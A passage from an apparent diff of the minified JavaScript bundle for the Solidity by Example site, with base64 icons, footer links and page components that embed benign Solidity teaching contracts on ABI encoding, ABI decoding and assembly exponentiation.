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",dg="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",VC="/assets/telegram-DMavHjFx.png",fC="/assets/discord-BqSoMD3G.png";function YC(){return r.jsxs("div",{className:Is.component,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:GC,alt:"smart contract engineer",className:Is.sce}),r.jsx("a",{href:"https://www.smartcontract.engineer",target:"__blank",children:"Smart Contract Engineer"})]}),r.jsxs("div",{className:Is.social,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:fC,alt:"discord",className:Is.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:VC,alt:"telegram",className:Is.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:dg,alt:"youtube",className:Is.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:Is.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:Is.row,children:[r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io",target:"__blank",children:"Source"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"License"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:Ig,target:"__blank",children:"Solidity jobs"})]})]})}const RC=({children:s})=>{const{state:a}=et(),n=B.useRef(null);B.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Rl.component,children:[r.jsx("div",{ref:n,className:Rl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(eC,{onClick:l}):null}),r.jsxs("div",{className:Rl.main,children:[r.jsx(uC,{}),r.jsxs("div",{className:Rl.children,children:[s,r.jsx(YC,{})]})]})]})},Cg=({title:s,description:a})=>(B.useEffect(()=>{document.title=s;const n=document.querySelector("meta[name='description']");n&&n.setAttribute("content",a)},[]),null),fo=' ',XC='';function vC(s=[]){B.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=fo,c.ariaLabel="Copy to clipboard",p.after(c);function t(I){I.preventDefault(),a(p.childNodes[0]),c.innerHTML=XC}function o(I){I.preventDefault(),c.innerHTML=fo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(vC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),HC="_component_ni5i2_1",FC="_content_ni5i2_5",KC="_prevNext_ni5i2_8",he={component:HC,content:FC,prevNext:KC},u=({title:s,version:a,description:n,html:l,prev:p,next:e,codes:c})=>r.jsxs("div",{className:he.component,children:[r.jsx(Cg,{title:`${s} | Solidity by Example | ${a}`,description:n}),r.jsxs("div",{className:he.content,children:[r.jsx("h2",{children:s}),r.jsx(NC,{html:l}),r.jsxs("div",{className:he.prevNext,children:[p&&r.jsxs("a",{href:p.path,children:["< ",p.title]}),e&&r.jsxs("a",{href:e.path,children:[e.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:c.map(({fileName:t,code:o},i)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${o}`,target:"_blank",rel:"noreferrer",children:t})},i))})]})]}),SC="0.8.24",MC="ABI Decode",xC="ABI decode bytes",JC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],zC=`

abi.encode encodes data into bytes.

abi.decode decodes bytes back into data.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -99,7 +99,7 @@ Error generating stack: `+e.message+`
             abi.decode(data, (uint256, address, uint256[], MyStruct));
     }
 }
-
`,zC=({prev:s,next:a})=>r.jsx(u,{version:KC,title:SC,description:MC,html:JC,prev:s,next:a,codes:xC}),EC="0.8.24",UC="ABI Encode",TC="ABI encode",QC=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQyNTYpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssKSA9IF9jb250cmFjdC5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZVdpdGhTaWduYXR1cmUoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIC8vIFR5cG8gaXMgbm90IGNoZWNrZWQgLSAidHJhbnNmZXIoYWRkcmVzcywgdWludCkiCiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIiwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlV2l0aFNlbGVjdG9yKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICAvLyBUeXBlIGlzIG5vdCBjaGVja2VkIC0gKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdHJ1ZSwgYW1vdW50KQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlQ2FsbChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],DC=`
// SPDX-License-Identifier: MIT
+
`,EC=({prev:s,next:a})=>r.jsx(u,{version:SC,title:MC,description:xC,html:zC,prev:s,next:a,codes:JC}),DC="0.8.24",TC="ABI Encode",UC="ABI encode",QC=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQyNTYpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssKSA9IF9jb250cmFjdC5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZVdpdGhTaWduYXR1cmUoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIC8vIFR5cG8gaXMgbm90IGNoZWNrZWQgLSAidHJhbnNmZXIoYWRkcmVzcywgdWludCkiCiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIiwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlV2l0aFNlbGVjdG9yKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICAvLyBUeXBlIGlzIG5vdCBjaGVja2VkIC0gKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdHJ1ZSwgYW1vdW50KQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlQ2FsbChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],_C=`
// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
 interface IERC20 {
@@ -143,7 +143,7 @@ Error generating stack: `+e.message+`
         return abi.encodeCall(IERC20.transfer, (to, amount));
     }
 }
-
`,LC=({prev:s,next:a})=>r.jsx(u,{version:EC,title:UC,description:TC,html:DC,prev:s,next:a,codes:QC}),_C="0.8.24",OC="Assembly Binary Exponentiation",PC="Example of binary exponentiation in assembly",$C=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],qC=`

Example of binary exponentiation in assembly

+`,LC=({prev:s,next:a})=>r.jsx(u,{version:DC,title:TC,description:UC,html:_C,prev:s,next:a,codes:QC}),OC="0.8.24",PC="Assembly Binary Exponentiation",$C="Example of binary exponentiation in assembly",qC=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8